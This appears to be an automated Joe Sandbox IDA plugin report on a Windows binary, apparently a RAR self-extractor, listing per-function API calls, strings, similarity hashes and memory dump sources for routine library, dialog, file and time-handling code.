Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ShowWindow$CloseCodeExitHandleProcess
String ID: .exe$.inf$Install$p
API String ID: 235082525-3607691742
Opcode ID: adc50215b8679669ca15db43a899b88b24b5617d1cab28a4d91fed0c8054fb67
Instruction ID: 85c8b475df385cb8bd2345b603e76796b3064921c32f1167896a81492c6c7acd
Opcode Fuzzy Hash: adc50215b8679669ca15db43a899b88b24b5617d1cab28a4d91fed0c8054fb67
Instruction Fuzzy Hash: 90715E61B09683D6EB64AB31E8502F9B3A4EF84784FDC4135DA4E436A4DF3DE941C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA0BCC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF75FBA0CE2

Part of subcall function 00007FF75FBA2320: GetSystemDirectoryW.KERNEL32 ref: 00007FF75FBA233C

GetProcAddress.KERNEL32 ref: 00007FF75FBA0C2A
GetProcAddress.KERNEL32 ref: 00007FF75FBA0C45

Strings

CryptProtectMemory failed, xrefs: 00007FF75FBA0C98
CryptUnprotectMemory, xrefs: 00007FF75FBA0C37
CryptProtectMemory, xrefs: 00007FF75FBA0C20
CryptUnprotectMemory failed, xrefs: 00007FF75FBA0CD9
Crypt32.dll, xrefs: 00007FF75FBA0C08

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: 67976fa20c078f1fa4cd085f8d12fa31ca02224fdc21a952c759dedfb78ddc85
Instruction ID: 2e5f1ad3650f436a995d3811cfa00c2ecc5b4acc92d03c3139d67898cc35ba2c
Opcode Fuzzy Hash: 67976fa20c078f1fa4cd085f8d12fa31ca02224fdc21a952c759dedfb78ddc85
Instruction Fuzzy Hash: 8F310B20E0AB87C4EA15AB35AC402B6B7A0BF58B90F9C5139C99D077A5EE3CE545C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB924A8 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB927D1
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB929D2
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB92A34

Strings

x%u, xrefs: 00007FF75FB929C1
xc%u, xrefs: 00007FF75FB92A23
;%u, xrefs: 00007FF75FB927C0

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: a63eb6064becaf551ee9b62623661f26d4beeaa20fe838dd2f8d40139cf0e1d3
Instruction ID: ed2ff73ce9a4c4daa9017449e0b0bd42d7426a4b2c22d527a4271dc56d7f56c0
Opcode Fuzzy Hash: a63eb6064becaf551ee9b62623661f26d4beeaa20fe838dd2f8d40139cf0e1d3
Instruction Fuzzy Hash: 1802AD22F0C2C2C1FE28BA3297563FEE791AF55780F884035DA8E47686DE6DE545C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB63BC Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF75FBB655A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBB687D
abort.LIBCMT ref: 00007FF75FBB68B1

Strings

csm, xrefs: 00007FF75FBB64A1
csm, xrefs: 00007FF75FBB6503
csm, xrefs: 00007FF75FBB6581

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 656fa11f87a5835f4a8d5b9d8c1c214d7a371b9261438cca58653dffd1aead5d
Instruction ID: 98400aeb651413d0bcbabd3cf21fb3c9530031d68d0482d6b685fc98f942d282
Opcode Fuzzy Hash: 656fa11f87a5835f4a8d5b9d8c1c214d7a371b9261438cca58653dffd1aead5d
Instruction Fuzzy Hash: A9E1A072A086C2CBE721AF35D8842EDB7A1FB45748F980136DA8D47699CF38E981C715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A364 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF75FB9A39F
GetShortPathNameW.KERNEL32 ref: 00007FF75FB9A3C0

Part of subcall function 00007FF75FBA3D70: CompareStringW.KERNEL32(?,?,00007FF75FB9D2B8), ref: 00007FF75FBA3D8F

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB9A464
MoveFileW.KERNEL32 ref: 00007FF75FB9A4CA
MoveFileW.KERNEL32 ref: 00007FF75FB9A514

Strings

rtmp%d, xrefs: 00007FF75FB9A45A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: 8ddca6d37f97333df73e724e0fd53a187de6789ea24f91e5f34e9e4509da98fe
Instruction ID: afde2b81f15f34b9241b6c39ce3e576dff1bffe20dc54ef6d17cdaf8fe330c86
Opcode Fuzzy Hash: 8ddca6d37f97333df73e724e0fd53a187de6789ea24f91e5f34e9e4509da98fe
Instruction Fuzzy Hash: BC515A62B185C2D5EA30BB31D9451FEA3A8BF85BC4FC94031D94D5BA9ADE3CE605C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAD9D8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF75FBADA0B
GetWindowRect.USER32 ref: 00007FF75FBADA61
ShowWindow.USER32 ref: 00007FF75FBADB33
SetDlgItemTextW.USER32 ref: 00007FF75FBADB3F
ShowWindow.USER32 ref: 00007FF75FBADB5C

Strings

RarHtmlClassName, xrefs: 00007FF75FBADADE

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Window$Show$ItemRectText
String ID: RarHtmlClassName
API String ID: 2921387401-1658105358
Opcode ID: 2c71e3d9204bf68c8187079716c1d8d07857564370bdb57e2ca0224828b4a0b7
Instruction ID: f2d214164bdddb78a4e2cf91122d69320f9d2f873f4962e5b2eb8ade2c243e02
Opcode Fuzzy Hash: 2c71e3d9204bf68c8187079716c1d8d07857564370bdb57e2ca0224828b4a0b7
Instruction Fuzzy Hash: A5416E75609B82C6EB55AF21E4443AEF7A5EB88B80F984135DE8E43B58DF3CE4018714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB3190 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF75FBB30FF,?,?,?,00007FF75FBB34BA), ref: 00007FF75FBB31B7
GetProcAddress.KERNEL32(?,?,?,00007FF75FBB30FF,?,?,?,00007FF75FBB34BA), ref: 00007FF75FBB31D4
GetProcAddress.KERNEL32(?,?,?,00007FF75FBB30FF,?,?,?,00007FF75FBB34BA), ref: 00007FF75FBB31F0

Strings

KERNEL32.DLL, xrefs: 00007FF75FBB31B0
ReleaseSRWLockExclusive, xrefs: 00007FF75FBB31DF
AcquireSRWLockExclusive, xrefs: 00007FF75FBB31CA

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: cfcd013ac6127581a6f5b2aa79448a2dfb50b0855d7a86bca1cccd10ee5e69d8
Instruction ID: 00045116833e8e851526315764a7b63dfa7607f1ea749f61fe83856cefbbdc1e
Opcode Fuzzy Hash: cfcd013ac6127581a6f5b2aa79448a2dfb50b0855d7a86bca1cccd10ee5e69d8
Instruction Fuzzy Hash: E6110964E9AB83C6EE51BF31A9506F6D2A56F08B80FCC5635C90E06350EE7CE8958264

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2F54 Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB9C108: GetVersionExW.KERNEL32 ref: 00007FF75FB9C127

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA2FA6
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA2FB2
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA2FC2
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA2FD0
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA2FDE
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF75FB91DE7), ref: 00007FF75FBA301F

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 0d8760d0cab82c483e4f6e13a65653f35ae0e4cb21dc7b303c03e9ba6031343a
Instruction ID: 45d3e9176f957cfeb76e8dbb8614b1e6bbebe93a4570bcd3e870b797a92f3b4b
Opcode Fuzzy Hash: 0d8760d0cab82c483e4f6e13a65653f35ae0e4cb21dc7b303c03e9ba6031343a
Instruction Fuzzy Hash: A44189B2A10692CBDB24DF38D8441ECB7B1F748B887984136EA4D87B58DF38D955C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAD388 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF75FBAD3D9

Strings

<br>, xrefs: 00007FF75FBAD41A
 , xrefs: 00007FF75FBAD457
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF75FBAD3CF

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: wcscpy
String ID:  $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 1284135714-864536935
Opcode ID: 4800b2c24e7164cdc2d63349d62e6157d8d1c35bedcee7baf7a48d82aa651b38
Instruction ID: 311969dd13096d4f5f4267576cf332ea67210d9c4f69b2887f20c965d56c456a
Opcode Fuzzy Hash: 4800b2c24e7164cdc2d63349d62e6157d8d1c35bedcee7baf7a48d82aa651b38
Instruction Fuzzy Hash: EF316355E096C2C2EA61BB61D5501F9E361EF54B84FCC8032DA8D07699EE7CF4828335

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA31F0 Relevance: 9.1, APIs: 6, Instructions: 74timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF75FBA3246

Part of subcall function 00007FF75FB9C108: GetVersionExW.KERNEL32 ref: 00007FF75FB9C127

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF75FBA3268
FileTimeToSystemTime.KERNEL32 ref: 00007FF75FBA3274
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF75FBA3284
SystemTimeToFileTime.KERNEL32 ref: 00007FF75FBA3292
SystemTimeToFileTime.KERNEL32 ref: 00007FF75FBA32A0

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 6fe600c340fd9802f51f7f0e62a0b889c68c58184e2ffd37e23f4a69c40ca345
Instruction ID: 33e71526a2bc401451aa31c7feb1ca4395b1ea52c3c3a590aa01cf21721ba962
Opcode Fuzzy Hash: 6fe600c340fd9802f51f7f0e62a0b889c68c58184e2ffd37e23f4a69c40ca345
Instruction Fuzzy Hash: A1310776B10692CAEB10DFB5D8401ED73B0FB0CB4C7895126EA4D93A58EF38D894C728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB68B8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF75FBB6928

Part of subcall function 00007FF75FBB5DE0: abort.LIBCMT ref: 00007FF75FBB5DF3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF75FBB6973
abort.LIBCMT ref: 00007FF75FBB6BA1

Strings

RCC, xrefs: 00007FF75FBB6944
MOC, xrefs: 00007FF75FBB693C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 471dcbce960d690d05db94a7ca5e7cf4ad9d191dede20343963ddb5981cb7302
Instruction ID: d4e8568e59a03469c40e44c8c094f7dfec4996d5f50b232e8aec7b9607ca992f
Opcode Fuzzy Hash: 471dcbce960d690d05db94a7ca5e7cf4ad9d191dede20343963ddb5981cb7302
Instruction Fuzzy Hash: 58919F73A08786CAE711AB74E8402EDBBA1FB05788F58412AEA8D47B55DF38D995C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB5B58 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75FBB5B83
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF75FBB5C18
RtlUnwindEx.KERNEL32 ref: 00007FF75FBB5C67

Strings

f, xrefs: 00007FF75FBB5B96
csm, xrefs: 00007FF75FBB5BFE

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: f23558f3b55ab5811c05d4f830243c0703e59613b80302f4b97b883ca13d1970
Instruction ID: 3f1a5d813c7d45147a3364494312a7dee7ecae95b2afe7fa0d4186cfa66406f5
Opcode Fuzzy Hash: f23558f3b55ab5811c05d4f830243c0703e59613b80302f4b97b883ca13d1970
Instruction Fuzzy Hash: 0D51D132B09686C7D754EF25E408AA9B396FB44B84F988130DE0A43B4CDF39EE41C719

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB1A30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB913C0: GetDlgItem.USER32 ref: 00007FF75FB91410
Part of subcall function 00007FF75FB913C0: SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

EndDialog.USER32 ref: 00007FF75FBB1A8E
GetDlgItemTextW.USER32 ref: 00007FF75FBB1AAB
SetDlgItemTextW.USER32 ref: 00007FF75FBB1ACA
SetDlgItemTextW.USER32 ref: 00007FF75FBB1ADF

Strings

RENAMEDLG, xrefs: 00007FF75FBB1A53

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$Text$Dialog
String ID: RENAMEDLG
API String ID: 2638039312-3299779563
Opcode ID: 4f8bf267d8144bbe1dfc49916d7516fadadf11eaab2188db66a25276201e4adf
Instruction ID: 3d55db5620caf2dc526b18894dfe945d0fc2c5e07272e8d91799f7eda09ffc34
Opcode Fuzzy Hash: 4f8bf267d8144bbe1dfc49916d7516fadadf11eaab2188db66a25276201e4adf
Instruction Fuzzy Hash: 29219061A08BC2C7F754AB26A5443BDA3A5AB45FC0F9C8136DA0D03B94CF2DE8468324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB2244 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00007FF75FBB2297, 00007FF75FBB22EF
RENAMEDLG, xrefs: 00007FF75FBB22C3

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 003eff63f361b9bace8ab20c22d18a4f05b99d915ab0dda8486e16e47a7a3962
Instruction ID: 2fc1faac042f2c421ebf7c4132fc4a0cd63e37ace7ec0c02bc38eb6cb1413e6f
Opcode Fuzzy Hash: 003eff63f361b9bace8ab20c22d18a4f05b99d915ab0dda8486e16e47a7a3962
Instruction Fuzzy Hash: E421E364A0DBC7D6FB15AB25B8402F9F3A4BB49784F88443AD94D86224DF7CE445C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBC8FC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF75FBBC91C
GetProcAddress.KERNEL32 ref: 00007FF75FBBC932
FreeLibrary.KERNEL32 ref: 00007FF75FBBC957

Strings

CorExitProcess, xrefs: 00007FF75FBBC92B
mscoree.dll, xrefs: 00007FF75FBBC913

Memory Dump Source

